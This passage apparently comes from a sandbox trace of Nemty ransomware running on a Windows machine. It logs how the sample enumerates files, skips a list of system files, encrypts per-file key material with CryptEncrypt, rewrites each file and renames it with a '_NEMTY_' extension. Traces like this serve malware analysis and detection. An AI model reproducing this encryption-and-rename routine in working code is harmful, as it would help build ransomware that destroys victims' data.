hHeap=0x4f90000) returned 1 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.913] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.913] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.913] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.913] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="PA54iALwRzYQJJbsNRvpC5IC/fveK3LwkbePyMtcbQo8GHcyNmZkXSXQhyE/Ue6L\r\nY6/B2erytUJdCsOIsDa/ZJJhdFtDG7qv//a5wevU7TWcH682/Zyg+oizxl+HgL47\r\nzjfPo9BZhTL8rVrWjfzrYOTCyrv9/4nhnu6Z0XUBfi4BMXD63MGCmQd9P6Y81FMl\r\nfc7xSqBJPg7LJFqTW0HL4Car31cbXjg/lY/z6p9KPVDW/BYp+mPyLlXBhUzlnGqZ\r\nVoJV3DmC4xht8XnkhwHVUgKr9WuMclygr+SO8/ipP5zPc4UlFE6+ls/SkY2Lzlvd\r\nYTqkN1w3o4vPpceRgpplrg==\r\n", pcchString=0x653e5dc) returned 1 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.914] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0179.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0179.914] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.914] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0179.916] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.916] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0179.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.916] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0179.916] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.917] CloseHandle (hObject=0x2e8) returned 1 [0179.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.917] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor._nemty_kgobjgd_")) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.918] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.NOR", cAlternateFileName="")) returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2=".") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="..") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="...") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="windows") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="rsa") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="NTDETECT.COM") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="ntldr") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="MSDOS.SYS") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="IO.SYS") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="boot.ini") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="boot.ini") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="ntuser.dat") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="desktop.ini") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="CONFIG.SYS") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="RECYCLER") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="bootmgr") returned 1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="programdata") returned -1 [0179.918] lstrcmpiW (lpString1="eBook.NOR", lpString2="appdata") returned 1 [0179.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NOR", lpUsedDefaultChar=0x0) returned 9 [0179.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NOR", lpUsedDefaultChar=0x0) returned 9 [0179.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NOR", lpUsedDefaultChar=0x0) returned 9 [0179.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NOR", lpUsedDefaultChar=0x0) returned 9 [0179.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.919] Sleep (dwMilliseconds=0x5) [0179.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee477f0, dwHighDateTime=0x1d561e8)) [0179.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ee477f0, dwHighDateTime=0x1d561e8)) [0179.928] GetLastError () returned 0x0 [0179.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.928] GetLastError () returned 0x0 [0179.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.929] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.929] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="UUwofz1+UHGNlVwpAAfGnpTT+JNkwyi2BGMQtrEyaYigN8qmP5IbDQe7sYmkh+Zr\r\nfbJsgm/JzZCiDdVJG/uoSGsrNonjuvE3Cu+oBmToI09kgtRt9Qpkyl8DlxoGXV47\r\n+RreGKNmBLLJ4r71R3xKBXh55GLFYrVSrMU0tQaq6+vqP/NfknN7+ivo6xfzb3jG\r\n8aXT87h9MT3AV8hExebfycteGY7yjXOsJTIwZTk+X0Anu+ySyH+ZpePj825VXgCy\r\nDS3DqNtCr53xcVIzh66Q91y0GJVkTIOIWYHn3Kxg1f6ihQCUGs2b5KI78WvDeuM3\r\n2eZel4XDcs88SGRTjE6Tpw==\r\n", pcchString=0x653e5dc) returned 1 [0179.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.930] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0179.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0179.930] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.930] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0179.932] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.932] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0179.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.932] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0179.932] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.932] CloseHandle (hObject=0x2e8) returned 1 [0179.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.932] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor._nemty_kgobjgd_")) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.933] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.NOR", cAlternateFileName="")) returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2=".") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="..") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="...") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="windows") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="rsa") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="NTDETECT.COM") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="ntldr") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="MSDOS.SYS") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="IO.SYS") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="boot.ini") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="boot.ini") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="ntuser.dat") returned -1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="desktop.ini") returned 1 [0179.933] lstrcmpiW (lpString1="EScript.NOR", lpString2="CONFIG.SYS") returned 1 [0179.934] lstrcmpiW (lpString1="EScript.NOR", lpString2="RECYCLER") returned -1 [0179.934] lstrcmpiW (lpString1="EScript.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.934] lstrcmpiW (lpString1="EScript.NOR", lpString2="bootmgr") returned 1 [0179.934] lstrcmpiW (lpString1="EScript.NOR", lpString2="programdata") returned -1 [0179.934] lstrcmpiW (lpString1="EScript.NOR", lpString2="appdata") returned 1 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NOR", lpUsedDefaultChar=0x0) returned 11 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NOR", lpUsedDefaultChar=0x0) returned 11 [0179.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NOR", lpUsedDefaultChar=0x0) returned 11 [0179.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.934] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NOR", lpUsedDefaultChar=0x0) returned 11 [0179.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 